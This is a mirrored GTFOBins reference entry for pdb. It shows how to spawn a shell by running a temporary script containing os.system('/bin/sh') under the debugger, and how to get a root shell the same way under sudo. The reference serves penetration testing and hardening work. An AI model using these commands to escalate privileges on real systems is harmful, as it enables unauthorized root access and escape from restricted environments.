mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
17 lines
374 B
Markdown
17 lines
374 B
Markdown
---
|
|
description: This allows to execute [`python`](/gtfobins/python/) code, other functions may apply.
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'import os; os.system("/bin/sh")' > $TF
|
|
pdb $TF
|
|
cont
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
echo 'import os; os.system("/bin/sh")' > $TF
|
|
sudo pdb $TF
|
|
cont
|
|
---
|